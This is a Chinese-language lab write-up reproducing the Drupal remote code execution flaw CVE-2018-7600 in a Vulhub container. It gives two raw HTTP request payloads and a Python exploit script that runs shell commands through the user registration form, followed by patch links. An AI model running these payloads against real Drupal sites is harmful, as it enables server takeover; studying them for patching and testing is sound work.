Drupal Drupalgeddon 2 遠程代碼執行漏洞(CVE-2018-7600)

Drupal Drupalgeddon 2 遠程代碼執行漏洞(CVE-2018-7600)

一、漏洞介紹

2018年3月28日,Drupal官方發佈新補丁和安全公告,宣稱Drupal 6,7,8等多個子版本存在遠程代碼執行漏洞,攻擊者可以利用Drupal網站漏洞,執行惡意代碼,導致網站被完全控制。

漏洞影響範圍:
截止2018年3月29日,還未有公開PoC
Drupal 6.x版本
Drupal 7.x版本
Drupal 8.x版本

二、漏洞危害

遠程代碼執行。

三、漏洞驗證

環境搭建:

實驗環境 系統 IP地址
攻擊機 win10 192.168.18.7
靶機 win10 192.168.18.7:8088

這裏我使用Vulhub搭建環境:
執行如下命令啓動drupal 8.5.0的環境: bash docker-compose up -d環境啓動後,訪問
http://your-ip:8088/(這裏我修改了配置文件,默認是8080端口)
將會看到drupal的安裝頁面,一路默認配置下一步安裝。因爲沒有mysql環境,所以安裝的時候可以選擇sqlite數據庫。
安裝成功後如圖所示:
在這裏插入圖片描述

PoC1:

我們向安裝完成的drupal發送如下數據包:

該POC僅可執行whoamiid等少量命令。

POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: your-ip:8088
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 103

form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id

成功執行代碼,這個代碼最終執行了id命令:
在這裏插入圖片描述

PoC2:

POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: 192.168.18.7:8088
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.18.7:8088/user/register
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------99533888113153068481322586663
Content-Length: 620
Connection: close

-----------------------------99533888113153068481322586663
Content-Disposition: form-data; name="mail[#post_render][]"

passthru
-----------------------------99533888113153068481322586663
Content-Disposition: form-data; name="mail[#type]"

markup
-----------------------------99533888113153068481322586663
Content-Disposition: form-data; name="mail[#markup]"

ls
-----------------------------99533888113153068481322586663
Content-Disposition: form-data; name="form_id"

user_register_form
-----------------------------99533888113153068481322586663
Content-Disposition: form-data; name="_drupal_ajax"

在這裏插入圖片描述
在這裏插入圖片描述

PoC3:

參考a2u/CVE-2018-7600,修改poc如下:

該PoC在Drupal 7.x上不起作用。

#!/usr/bin/env python3
import sys
import requests

print ('################################################################')
print ('# Proof-Of-Concept for CVE-2018-7600')
print ('# by Vitalii Rudnykh')
print ('# Thanks by AlbinoDrought, RicterZ, FindYanot, CostelSalanders')
print ('# https://github.com/a2u/CVE-2018-7600')
print ('################################################################')
print ('Provided only for educational or information purposes\n')

target = input('Enter target url (example: https://domain.ltd/): ')

# Add proxy support (eg. BURP to analyze HTTP(s) traffic)
# set verify = False if your proxy certificate is self signed
# remember to set proxies both for http and https
# 
# example:
# proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
# verify = False
proxies = {}
verify = True

url = target + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax' 
payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'echo `ls -al` | tee hello.txt'}

r = requests.post(url, proxies=proxies, data=payload, verify=verify)
check = requests.get(target + 'hello.txt', proxies=proxies, verify=verify)
if check.status_code != 200:
  sys.exit("Not exploitable")
print ('\nCheck: '+target+'hello.txt')

執行python exploit.py,輸入URL:
在這裏插入圖片描述
查看http://192.168.18.7:8088/hello.txt
在這裏插入圖片描述

四、漏洞修復

官方已經修復此漏洞,請及時更新Drupal版本或參考補丁自行修復:
Drupal 7.x 請更新至7.58版本(https://www.drupal.org/project/drupal/releases/7.58) 或參考此補丁進行修復 (https://cgit.drupalcode.org/drupal/rawdiff/?h=7.x&id=2266d2a83db50e2f97682d9a0fb8a18e2722cba5)
Drupal 8.3.x 請更新至8.3.9版本(https://www.drupal.org/project/drupal/releases/8.3.9) 或參考此補丁進行修復(https://cgit.drupalcode.org/drupal/rawdiff/?h=8.5.x&id=5ac8738fa69df34a0635f0907d661b509ff9a28f)
Drupal 8.4.x 請更新至8.4.6版本(https://www.drupal.org/project/drupal/releases/8.4.6) 或參考此補丁進行修復(https://cgit.drupalcode.org/drupal/rawdiff/?h=8.5.x&id=5ac8738fa69df34a0635f0907d661b509ff9a28f)
Drupal 8.5.x 請更新至8.5.1版本(https://www.drupal.org/project/drupal/releases/8.5.1) 或參考此補丁進行修復(https://cgit.drupalcode.org/drupal/rawdiff/?h=8.5.x&id=5ac8738fa69df34a0635f0907d661b509ff9a28f)

參考鏈接:
https://github.com/a2u/CVE-2018-7600
https://github.com/dreadlocked/Drupalgeddon2
https://github.com/g0rx/CVE-2018-7600-Drupal-RCE
https://www.jianshu.com/p/7c410db788ed

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章